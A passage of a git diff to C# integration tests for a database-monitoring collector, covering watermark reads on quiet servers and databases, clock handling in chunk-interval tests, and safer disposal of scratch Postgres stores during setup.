+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Pg), "Set DARLING_TEST_PG to run the #5515 quiet-server pins.");
+        var ct = TestContext.Current.CancellationToken;
+
+        var loggerFactory = new CommandCountingLoggerFactory();
+        await using var dataSource = new NpgsqlDataSourceBuilder(Pg!).UseLoggerFactory(loggerFactory).Build();
+        await using (var migrate = await dataSource.OpenConnectionAsync(ct))
+        {
+            await PgMigrations.MigrateAsync(migrate, ct);
+        }
+
+        var log = loggerFactory.Provider;
+        var runner = new DarlingCollectorRunner(dataSource, new CollectorDeltaCalculator());
+        await CleanAsync(dataSource, ct);
+        var bodySucceeded = false;
+        try
+        {
+            /* Newest event two days ago: past the 6-hour probe, inside the week. */
+            var twoDays = DateTime.UtcNow.Date - TimeSpan.FromDays(2) + TimeSpan.FromHours(3);
+            await InsertTraceEventAsync(dataSource, 1, twoDays, ct);
+            await InsertTraceEventAsync(dataSource, 2, twoDays - TimeSpan.FromHours(5), ct);
+            await InsertJobAsync(dataSource, 1, 410, DateTime.UtcNow - TimeSpan.FromDays(3), ct);
+            await InsertJobAsync(dataSource, 2, 400, DateTime.UtcNow - TimeSpan.FromDays(4), ct);
+
+            /* The store's own answer first: this read is itself an unbounded statement, so it runs before the counting starts. */
+            var storeAnswer = await UnboundedMaxAsync(dataSource, ct);
+            log.Reset();
+            var trace = await runner.GetLastCollectedTimeAsync(ServerId, "default_trace_events", "event_time", ct);
+            var job = await runner.GetLastCollectedInstanceIdAsync(ServerId, "job_history", "instance_id", ct);
+
+            Assert.Equal(twoDays, trace);
+            Assert.Equal(410L, job);
+            Assert.Equal(storeAnswer, trace);
+            Assert.Equal(0, Unbounded(log, TraceUnbounded, TraceBounded));
+            Assert.Equal(0, log.CountContaining(JobUnbounded));
+            /* Two bounded reads each: the 6-hour probe, then the week. */
+            Assert.Equal(2, log.CountContaining(TraceBounded));
+            Assert.Equal(2, log.CountContaining(JobBounded));
+
+            /* A row lands since: the 6-hour probe answers, in one read, and it is the new row (never skipped). */
+            /* Whole microseconds: the store keeps no finer tick, so a finer one here could never be read back equal. */
+            var recentTicks = (DateTime.UtcNow - TimeSpan.FromMinutes(5)).Ticks;
+            var recent = new DateTime(recentTicks - recentTicks % TimeSpan.TicksPerMicrosecond, DateTimeKind.Utc);
+            await InsertTraceEventAsync(dataSource, 3, recent, ct);
+            await InsertJobAsync(dataSource, 3, 420, recent, ct);
+            log.Reset();
+            Assert.Equal(recent, await runner.GetLastCollectedTimeAsync(ServerId, "default_trace_events", "event_time", ct));
+            Assert.Equal(420L, await runner.GetLastCollectedInstanceIdAsync(ServerId, "job_history", "instance_id", ct));
+            Assert.Equal(1, log.CountContaining(TraceBounded));
+            Assert.Equal(1, log.CountContaining(JobBounded));
+            Assert.Equal(0, Unbounded(log, TraceUnbounded, TraceBounded));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(Pg!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await CleanAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task AServerQuietForMoreThanAWeek_AndOneWithNoRow_StillGetTheUnboundedAnswer()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Pg), "Set DARLING_TEST_PG to run the #5515 quiet-server pins.");
+        var ct = TestContext.Current.CancellationToken;
+
+        var loggerFactory = new CommandCountingLoggerFactory();
+        await using var dataSource = new NpgsqlDataSourceBuilder(Pg!).UseLoggerFactory(loggerFactory).Build();
+        await using (var migrate = await dataSource.OpenConnectionAsync(ct))
+        {
+            await PgMigrations.MigrateAsync(migrate, ct);
+        }
+
+        var log = loggerFactory.Provider;
+        var runner = new DarlingCollectorRunner(dataSource, new CollectorDeltaCalculator());
+        await CleanAsync(dataSource, ct);
+        var bodySucceeded = false;
+        try
+        {
+            /* No row at all: null after all three reads, so a first run still reads as one. */
+            log.Reset();
+            Assert.Null(await runner.GetLastCollectedTimeAsync(ServerId, "default_trace_events", "event_time", ct));
+            Assert.Null(await runner.GetLastCollectedInstanceIdAsync(ServerId, "job_history", "instance_id", ct));
+            Assert.Equal(1, Unbounded(log, TraceUnbounded, TraceBounded));
+            Assert.Equal(1, log.CountContaining(JobUnbounded));
+
+            /* Newest row twenty days ago: past the week, so the whole-slice read still finds it. */
+            var old = DateTime.UtcNow.Date - TimeSpan.FromDays(20) + TimeSpan.FromHours(1);
+            await InsertTraceEventAsync(dataSource, 1, old, ct);
+            await InsertJobAsync(dataSource, 1, 90, old, ct);
+            log.Reset();
+            Assert.Equal(old, await runner.GetLastCollectedTimeAsync(ServerId, "default_trace_events", "event_time", ct));
+            Assert.Equal(90L, await runner.GetLastCollectedInstanceIdAsync(ServerId, "job_history", "instance_id", ct));
+            Assert.Equal(1, Unbounded(log, TraceUnbounded, TraceBounded));
+            Assert.Equal(1, log.CountContaining(JobUnbounded));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(Pg!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await CleanAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static string PairBounded =>
+        DarlingCollectorRunner.BuildServerWatermarkPairSql("cpu_utilization_stats", "sample_time", "sample_time_utc", bounded: true);
+
+    private static string PairUnbounded =>
+        DarlingCollectorRunner.BuildServerWatermarkPairSql("cpu_utilization_stats", "sample_time", "sample_time_utc", bounded: false);
+
+    private static string DbBounded =>
+        DarlingCollectorRunner.BuildServerWatermarkForDatabaseSql("deadlocks", "deadlock_time", "database_name", bounded: true);
+
+    private static string DbUnbounded =>
+        DarlingCollectorRunner.BuildServerWatermarkForDatabaseSql("deadlocks", "deadlock_time", "database_name", bounded: false);
+
+    private const string QuietDatabase = "QuietDb";
+
+    /// <summary>The #3778 pair read (cpu_utilization) takes the same week rung: a server whose newest sample is
+    /// days old is answered by the week, and only a server quiet longer, or with no row, runs the unbounded pair.</summary>
+    [Fact]
+    public async Task ThePairRead_OfAQuietServer_IsAnsweredByTheWeek_AndOnlyAnOlderOrEmptyOneRunsTheUnboundedPair()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Pg), "Set DARLING_TEST_PG to run the #5515 quiet-server pins.");
+        var ct = TestContext.Current.CancellationToken;
+
+        var loggerFactory = new CommandCountingLoggerFactory();
+        await using var dataSource = new NpgsqlDataSourceBuilder(Pg!).UseLoggerFactory(loggerFactory).Build();
+        await using (var migrate = await dataSource.OpenConnectionAsync(ct))
+        {
+            await PgMigrations.MigrateAsync(migrate, ct);
+        }
+
+        var log = loggerFactory.Provider;
+        var runner = new DarlingCollectorRunner(dataSource, new CollectorDeltaCalculator());
+        await CleanAsync(dataSource, ct);
+        var bodySucceeded = false;
+        try
+        {
+            /* No row at all: (null, false) after the 6-hour probe, the week and the unbounded pair. */
+            log.Reset();
+            Assert.Equal((null, false), await runner.GetLastCollectedTimeWithFrameAsync(
+                ServerId, "cpu_utilization_stats", "sample_time", "sample_time_utc", ct));
+            Assert.Equal(2, log.CountContaining(PairBounded));
+            Assert.Equal(1, log.CountContaining(PairUnbounded) - log.CountContaining(PairBounded));
+
+            /* Newest sample two days ago: past the 6-hour probe, inside the week. No unbounded read. */
+            var twoDays = DateTime.UtcNow.Date - TimeSpan.FromDays(2) + TimeSpan.FromHours(3);
+            await InsertCpuAsync(dataSource, 1, twoDays, ct);
+            log.Reset();
+            Assert.Equal((twoDays, true), await runner.GetLastCollectedTimeWithFrameAsync(
+                ServerId, "cpu_utilization_stats", "sample_time", "sample_time_utc", ct));
+            Assert.Equal(2, log.CountContaining(PairBounded));
+            Assert.Equal(0, log.CountContaining(PairUnbounded) - log.CountContaining(PairBounded));
+
+            /* Newest sample twenty days ago: past the week, so the unbounded pair still finds it. */
+            await CleanAsync(dataSource, ct);
+            var old = DateTime.UtcNow.Date - TimeSpan.FromDays(20) + TimeSpan.FromHours(1);
+            await InsertCpuAsync(dataSource, 2, old, ct);
+            log.Reset();
+            Assert.Equal((old, true), await runner.GetLastCollectedTimeWithFrameAsync(
+                ServerId, "cpu_utilization_stats", "sample_time", "sample_time_utc", ct));
+            Assert.Equal(1, log.CountContaining(PairUnbounded) - log.CountContaining(PairBounded));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(Pg!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await CleanAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>The per-database read (the Azure deadlock, blocked-process and long-query collectors call it with no
+    /// floor, once per database per cycle) takes the same week rung: a quiet database whose last row is days old
+    /// stops paying the unbounded read every cycle.</summary>
+    [Fact]
+    public async Task ThePerDatabaseRead_OfAQuietDatabase_IsAnsweredByTheWeek_AndOnlyAnOlderOrEmptyOneRunsTheUnboundedRead()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Pg), "Set DARLING_TEST_PG to run the #5515 quiet-server pins.");
+        var ct = TestContext.Current.CancellationToken;
+
+        var loggerFactory = new CommandCountingLoggerFactory();
+        await using var dataSource = new NpgsqlDataSourceBuilder(Pg!).UseLoggerFactory(loggerFactory).Build();
+        await using (var migrate = await dataSource.OpenConnectionAsync(ct))
+        {
+            await PgMigrations.MigrateAsync(migrate, ct);
+        }
+
+        var log = loggerFactory.Provider;
+        var runner = new DarlingCollectorRunner(dataSource, new CollectorDeltaCalculator());
+        await CleanAsync(dataSource, ct);
+        var bodySucceeded = false;
+        try
+        {
+            /* No row for the database: null after all three reads. */
+            log.Reset();
+            Assert.Null(await runner.GetLastCollectedTimeForDatabaseAsync(
+                ServerId, "deadlocks", "deadlock_time", "database_name", QuietDatabase, ct));
+            Assert.Equal(2, log.CountContaining(DbBounded));
+            Assert.Equal(1, log.CountContaining(DbUnbounded) - log.CountContaining(DbBounded));
+
+            /* Newest deadlock two days ago: past the 6-hour probe, inside the week. No unbounded read. */
+            var twoDays = DateTime.UtcNow.Date - TimeSpan.FromDays(2) + TimeSpan.FromHours(3);
+            await InsertDeadlockAsync(dataSource, 1, twoDays, ct);
+            log.Reset();
+            Assert.Equal(twoDays, await runner.GetLastCollectedTimeForDatabaseAsync(
+                ServerId, "deadlocks", "deadlock_time", "database_name", QuietDatabase, ct));
+            Assert.Equal(2, log.CountContaining(DbBounded));
+            Assert.Equal(0, log.CountContaining(DbUnbounded) - log.CountContaining(DbBounded));
+
+            /* Newest deadlock twenty days ago: past the week, so the unbounded read still finds it. */
+            await CleanAsync(dataSource, ct);
+            var old = DateTime.UtcNow.Date - TimeSpan.FromDays(20) + TimeSpan.FromHours(1);
+            await InsertDeadlockAsync(dataSource, 2, old, ct);
+            log.Reset();
+            Assert.Equal(old, await runner.GetLastCollectedTimeForDatabaseAsync(
+                ServerId, "deadlocks", "deadlock_time", "database_name", QuietDatabase, ct));
+            Assert.Equal(1, log.CountContaining(DbUnbounded) - log.CountContaining(DbBounded));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(Pg!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await CleanAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static async Task InsertCpuAsync(NpgsqlDataSource dataSource, long id, DateTime sampleTime, CancellationToken ct)
+    {
+        await using var connection = await dataSource.OpenConnectionAsync(ct);
+        using var command = new NpgsqlCommand(@"
+INSERT INTO cpu_utilization_stats (collection_id, collection_time, server_id, server_name, sample_time, sample_time_utc, sqlserver_cpu_utilization, other_process_cpu_utilization)
+VALUES ($1, $2, $3, $4, $5, $5, 1, 1)", connection);
+        command.Parameters.AddWithValue(id + 9_300_000);
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(sampleTime, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue("QUIET-WM-SRV");
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(sampleTime, DateTimeKind.Unspecified));
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task InsertDeadlockAsync(NpgsqlDataSource dataSource, long id, DateTime deadlockTime, CancellationToken ct)
+    {
+        await using var connection = await dataSource.OpenConnectionAsync(ct);
+        using var command = new NpgsqlCommand(@"
+INSERT INTO deadlocks (deadlock_id, collection_time, server_id, server_name, deadlock_time, deadlock_graph_xml, database_name)
+VALUES ($1, $2, $3, $4, $2, '<deadlock/>', $5)", connection);
+        command.Parameters.AddWithValue(id + 9_300_000);
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(deadlockTime, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue("QUIET-WM-SRV");
+        command.Parameters.AddWithValue(QuietDatabase);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<DateTime?> UnboundedMaxAsync(NpgsqlDataSource dataSource, CancellationToken ct)
+    {
+        await using var connection = await dataSource.OpenConnectionAsync(ct);
+        using var command = new NpgsqlCommand(
+            "SELECT MAX(event_time) FROM default_trace_events WHERE server_id = $1", connection);
+        command.Parameters.AddWithValue(ServerId);
+        return await command.ExecuteScalarAsync(ct) as DateTime?;
+    }
+
+    private static async Task InsertTraceEventAsync(NpgsqlDataSource dataSource, long id, DateTime eventTime, CancellationToken ct)
+    {
+        await using var connection = await dataSource.OpenConnectionAsync(ct);
+        using var command = new NpgsqlCommand(@"
+INSERT INTO default_trace_events (default_trace_event_id, collection_time, server_id, server_name, event_time)
+VALUES ($1, $2, $3, $4, $5)", connection);
+        command.Parameters.AddWithValue(id);
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(eventTime, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue("QUIET-WM-SRV");
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(eventTime, DateTimeKind.Unspecified));
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task InsertJobAsync(
+        NpgsqlDataSource dataSource, long id, long instanceId, DateTime collectionTime, CancellationToken ct)
+    {
+        await using var connection = await dataSource.OpenConnectionAsync(ct);
+        using var command = new NpgsqlCommand(@"
+INSERT INTO job_history (job_history_id, collection_time, server_id, server_name, instance_id)
+VALUES ($1, $2, $3, $4, $5)", connection);
+        command.Parameters.AddWithValue(id + 9_300_000);
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(collectionTime, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue("QUIET-WM-SRV");
+        command.Parameters.AddWithValue(instanceId);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task CleanAsync(NpgsqlDataSource dataSource, CancellationToken ct)
+    {
+        await using var connection = await dataSource.OpenConnectionAsync(ct);
+        await CleanAsync(connection, ct);
+    }
+
+    private static async Task CleanAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        foreach (var table in new[] { "default_trace_events", "job_history", "cpu_utilization_stats", "deadlocks" })
+        {
+            using var command = new NpgsqlCommand($"DELETE FROM {table} WHERE server_id = $1", connection);
+            command.Parameters.AddWithValue(ServerId);
+            await command.ExecuteNonQueryAsync(ct);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/RawChunkIntervalReconcilerLiveTests.cs b/Darling/Darling.Tests/RawChunkIntervalReconcilerLiveTests.cs
index 062c4ea574..713ff9c5e7 100644
--- a/Darling/Darling.Tests/RawChunkIntervalReconcilerLiveTests.cs
+++ b/Darling/Darling.Tests/RawChunkIntervalReconcilerLiveTests.cs
@@ -70,7 +70,7 @@ await ExecAsync(connection,
             "SELECT create_hypertable('collect.rci_test', by_range('ts', INTERVAL '24 hours'), if_not_exists => true, migrate_data => true)", ct);
         await ExecAsync(connection, "ALTER TABLE collect.rci_test SET (timescaledb.compress, timescaledb.compress_orderby = 'ts')", ct);
 
-        var utcNow = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+        var utcNow = LiveClock.Now();
         await PlantChunkAsync(connection, utcNow.AddDays(-3), ct);
         await PlantChunkAsync(connection, utcNow.AddDays(-2), ct);
         await ExecAsync(connection, "SELECT compress_chunk(c) FROM show_chunks('collect.rci_test') c", ct);
@@ -78,7 +78,7 @@ await ExecAsync(connection,
         Assert.Equal(24, await CurrentIntervalHoursAsync(connection, ct));
 
         /* ---- phase 1: narrows one rung, applies, records ---- */
-        var changed1 = await RawChunkIntervalReconciler.ReconcileAsync(connection, budgetBytes: 1.0, DateTime.UtcNow, logger: null, ct);
+        var changed1 = await RawChunkIntervalReconciler.ReconcileAsync(connection, budgetBytes: 1.0, DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc), logger: null, ct);
         Assert.Equal(1, changed1);
         Assert.Equal(12, await CurrentIntervalHoursAsync(connection, ct));
 
@@ -96,7 +96,7 @@ await ExecAsync(connection,
         Assert.Equal(1L, await ScalarLongAsync(connection, "SELECT COUNT(*) FROM collect.raw_chunk_interval_reconcile_runs", ct));
 
         /* ---- phase 2: same day, held — proves IntervalLastChangedUtc came from the history table ---- */
-        var changed2 = await RawChunkIntervalReconciler.ReconcileAsync(connection, budgetBytes: 1.0, DateTime.UtcNow, logger: null, ct);
+        var changed2 = await RawChunkIntervalReconciler.ReconcileAsync(connection, budgetBytes: 1.0, DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc), logger: null, ct);
         Assert.Equal(0, changed2);
         Assert.Equal(12, await CurrentIntervalHoursAsync(connection, ct));
         Assert.Equal(1L, await ScalarLongAsync(connection, "SELECT COUNT(*) FROM collect.raw_chunk_interval_rung_history", ct));
@@ -233,7 +233,7 @@ await ExecAsync(connection,
             "SELECT create_hypertable('collect.rated_test', by_range('ts', INTERVAL '24 hours'), if_not_exists => true, migrate_data => true)", ct);
         await ExecAsync(connection, "ALTER TABLE collect.rated_test SET (timescaledb.compress, timescaledb.compress_orderby = 'ts')", ct);
 
-        var utcNow = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+        var utcNow = LiveClock.Now();
         for (var day = 1; day <= 5; day++)
         {
             await PlantRatedChunkAsync(connection, utcNow.AddDays(-day), ct);
@@ -263,7 +263,7 @@ JOIN timescaledb_information.chunks c
         var budgetBytes = openBytesAt24Hours / 2.55;
 
         var logger = new CapturingTestLogger();
-        var changed = await RawChunkIntervalReconciler.ReconcileAsync(connection, budgetBytes, DateTime.UtcNow, logger, ct);
+        var changed = await RawChunkIntervalReconciler.ReconcileAsync(connection, budgetBytes, DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc), logger, ct);
 
         Assert.Equal(1, changed);
         Assert.Equal(12, await CurrentIntervalHoursAsync(connection, "rated_test", ct));
@@ -282,7 +282,7 @@ summary line still logs at Information with the ratio under 1. The rated table i
            either pass runs — that held line is asserted at Information too, by exact prefix. ---- */
         var loggerNoChange = new CapturingTestLogger();
         var changedNoChange = await RawChunkIntervalReconciler.ReconcileAsync(
-            connection, budgetBytes: openBytesAt24Hours * 1_000, DateTime.UtcNow, loggerNoChange, ct);
+            connection, budgetBytes: openBytesAt24Hours * 1_000, DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc), loggerNoChange, ct);
 
         Assert.Equal(0, changedNoChange);
         var summaryNoChange = loggerNoChange.Lines.FirstOrDefault(l =>
diff --git a/Darling/Darling.Tests/RawGatePerSlotSourceFloorLiveTests.cs b/Darling/Darling.Tests/RawGatePerSlotSourceFloorLiveTests.cs
index c8948d40e4..59c25cfa9f 100644
--- a/Darling/Darling.Tests/RawGatePerSlotSourceFloorLiveTests.cs
+++ b/Darling/Darling.Tests/RawGatePerSlotSourceFloorLiveTests.cs
@@ -43,23 +43,38 @@ public sealed class RawGatePerSlotSourceFloorLiveTests
             "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #4300 per-slot floor pins.");
 
         var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, default);
-
-        var connectionString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { MaxAutoPrepare = 0 }.ConnectionString;
-        var connection = new NpgsqlConnection(connectionString);
-        await connection.OpenAsync();
-        await PgMigrations.MigrateAsync(connection, default);
-
-        var enabled = await TimescaleSupport.TryEnableAsync(connection, null, default);
-        Assert.SkipWhen(!enabled, "The live #4300 per-slot floor pins need TimescaleDB.");
-        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, default);
-        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, default);
-
-        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection) { CommandTimeout = SetupTimeoutSeconds })
+        NpgsqlConnection? connection = null;
+        /* A skip (no TimescaleDB) or a failed setup throws before the caller owns the store, so the opener drops it
+           here. Left alone it would survive to the process-exit drain, which the test runner waits only 10 s for. */
+        try
         {
-            await stop.ExecuteNonQueryAsync();
+            var connectionString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { MaxAutoPrepare = 0 }.ConnectionString;
+            connection = new NpgsqlConnection(connectionString);
+            await connection.OpenAsync();
+            await PgMigrations.MigrateAsync(connection, default);
+
+            var enabled = await TimescaleSupport.TryEnableAsync(connection, null, default);
+            Assert.SkipWhen(!enabled, "The live #4300 per-slot floor pins need TimescaleDB.");
+            await TimescaleSupport.ConvertToHypertablesAsync(connection, null, default);
+            await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, default);
+
+            await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection) { CommandTimeout = SetupTimeoutSeconds })
+            {
+                await stop.ExecuteNonQueryAsync();
+            }
+
+            return (connection, scratch);
         }
+        catch
+        {
+            if (connection is not null)
+            {
+                await connection.DisposeAsync();
+            }
 
-        return (connection, scratch);
+            await scratch.DisposeAsync();
+            throw;
+        }
     }
 
     /// <summary>Hour 0 (the raw floor) holds ONLY CPU-unknown rows: <c>delta_worker_time = NULL</c>,
@@ -139,6 +154,7 @@ public async Task FloorCase_DbSlotOwnFloorSkipsCpuUnknownHour_Covered()
         {
             await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, (_, _) => Task.CompletedTask);
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 
@@ -177,6 +193,7 @@ public async Task QueryGrainCase_HoleAtOwnFloor_ShortThenCovered()
         {
             await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, (_, _) => Task.CompletedTask);
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 }
diff --git a/Darling/Darling.Tests/RawPurgeConvergeLiveTests.cs b/Darling/Darling.Tests/RawPurgeConvergeLiveTests.cs
index 00be7a67d4..0df21cb56e 100644
--- a/Darling/Darling.Tests/RawPurgeConvergeLiveTests.cs
+++ b/Darling/Darling.Tests/RawPurgeConvergeLiveTests.cs
@@ -38,23 +38,38 @@ public sealed class RawPurgeConvergeLiveTests
             "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #4391 converge pins.");
 
         var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, default);
+        NpgsqlConnection? connection = null;
+        /* A skip (no TimescaleDB) or a failed setup throws before the caller owns the store, so the opener drops it
+           here. Left alone it would survive to the process-exit drain, which the test runner waits only 10 s for. */
+        try
+        {
+            var connectionString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { MaxAutoPrepare = 0 }.ConnectionString;
+            connection = new NpgsqlConnection(connectionString);
+            await connection.OpenAsync();
+            await PgMigrations.MigrateAsync(connection, default);
 
-        var connectionString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { MaxAutoPrepare = 0 }.ConnectionString;
-        var connection = new NpgsqlConnection(connectionString);
-        await connection.OpenAsync();
-        await PgMigrations.MigrateAsync(connection, default);
+            var enabled = await TimescaleSupport.TryEnableAsync(connection, null, default);
+            Assert.SkipWhen(!enabled, "The live #4391 converge pins need TimescaleDB.");
+            await TimescaleSupport.ConvertToHypertablesAsync(connection, null, default);
+            await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, default);
 
-        var enabled = await TimescaleSupport.TryEnableAsync(connection, null, default);
-        Assert.SkipWhen(!enabled, "The live #4391 converge pins need TimescaleDB.");
-        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, default);
-        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, default);
+            await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection) { CommandTimeout = SetupTimeoutSeconds })
+            {
+                await stop.ExecuteNonQueryAsync();
+            }
 
-        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection) { CommandTimeout = SetupTimeoutSeconds })
-        {
-            await stop.ExecuteNonQueryAsync();
+            return (connection, scratch);
         }
+        catch
+        {
+            if (connection is not null)
+            {
+                await connection.DisposeAsync();
+            }
 
-        return (connection, scratch);
+            await scratch.DisposeAsync();
+            throw;
+        }
     }
 
     private static async Task ArmRawJobAsync(NpgsqlConnection connection, string relation)
@@ -195,6 +210,7 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
                 await batch.RemoveRetentionPolicyAsync(Raw, cleanupCt);
             });
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 
@@ -253,6 +269,7 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
                 await batch.RemoveRetentionPolicyAsync(Raw, cleanupCt);
             });
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 
@@ -336,6 +353,7 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
                 await batch.RemoveRetentionPolicyAsync(Raw, cleanupCt);
             });
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 
diff --git a/Darling/Darling.Tests/RawPurgeTriggerGateErrorTests.cs b/Darling/Darling.Tests/RawPurgeTriggerGateErrorTests.cs
index fec31ee8ea..47a273ef55 100644
--- a/Darling/Darling.Tests/RawPurgeTriggerGateErrorTests.cs
+++ b/Darling/Darling.Tests/RawPurgeTriggerGateErrorTests.cs
@@ -60,26 +60,41 @@ public void RepairEpochStampAllowed_TrueOnlyWithZeroFailures()
             "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #4391 gate_error pin.");
 
         var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, default);
-
-        /* Max Auto Prepare=0: RunRetentionPurgeJobSql is a multi-statement string run through NpgsqlCommand,
-           and this rig's connection reruns other multi-statement SQL enough times over its life that
-           Npgsql's default auto-prepare threshold can trigger on it — same reasoning as RawPurgeTriggerLiveTests. */
-        var connectionString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { MaxAutoPrepare = 0 }.ConnectionString;
-        var connection = new NpgsqlConnection(connectionString);
-        await connection.OpenAsync();
-        await PgMigrations.MigrateAsync(connection, default);
-
-        var enabled = await TimescaleSupport.TryEnableAsync(connection, null, default);
-        Assert.SkipWhen(!enabled, "The live #4391 gate_error pin needs TimescaleDB.");
-        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, default);
-        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, default);
-
-        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection) { CommandTimeout = SetupTimeoutSeconds })
+        NpgsqlConnection? connection = null;
+        /* A skip (no TimescaleDB) or a failed setup throws before the caller owns the store, so the opener drops it
+           here. Left alone it would survive to the process-exit drain, which the test runner waits only 10 s for. */
+        try
         {
-            await stop.ExecuteNonQueryAsync();
+            /* Max Auto Prepare=0: RunRetentionPurgeJobSql is a multi-statement string run through NpgsqlCommand,
+               and this rig's connection reruns other multi-statement SQL enough times over its life that
+               Npgsql's default auto-prepare threshold can trigger on it — same reasoning as RawPurgeTriggerLiveTests. */
+            var connectionString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { MaxAutoPrepare = 0 }.ConnectionString;
+            connection = new NpgsqlConnection(connectionString);
+            await connection.OpenAsync();
+            await PgMigrations.MigrateAsync(connection, default);
+
+            var enabled = await TimescaleSupport.TryEnableAsync(connection, null, default);
+            Assert.SkipWhen(!enabled, "The live #4391 gate_error pin needs TimescaleDB.");
+            await TimescaleSupport.ConvertToHypertablesAsync(connection, null, default);
+            await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, default);
+
+            await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection) { CommandTimeout = SetupTimeoutSeconds })
+            {
+                await stop.ExecuteNonQueryAsync();
+            }
+
+            return (connection, scratch);
         }
+        catch
+        {
+            if (connection is not null)
+            {
+                await connection.DisposeAsync();
+            }
 
-        return (connection, scratch);
+            await scratch.DisposeAsync();
+            throw;
+        }
     }
 
     private static async Task<long> ReadPostmasterEpochAsync(NpgsqlConnection connection)
@@ -246,6 +261,7 @@ await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (
                 await batch.RemoveRetentionPolicyAsync(Raw, cleanupCt);
             });
             await connection.DisposeAsync();
+            await scratch.DisposeAsync();
         }
     }
 }
diff --git a/Darling/Darling.Tests/RawPurgeTriggerLiveTests.cs b/Darling/Darling.Tests/RawPurgeTriggerLiveTests.cs
index dbacf5fab7..403ffe678d 100644
--- a/Darling/Darling.Tests/RawPurgeTriggerLiveTests.cs
+++ b/Darling/Darling.Tests/RawPurgeTriggerLiveTests.cs
@@ -40,28 +40,43 @@ public sealed class RawPurgeTriggerLiveTests
             "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #4299 trigger pins.");
 
         var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, default);
-
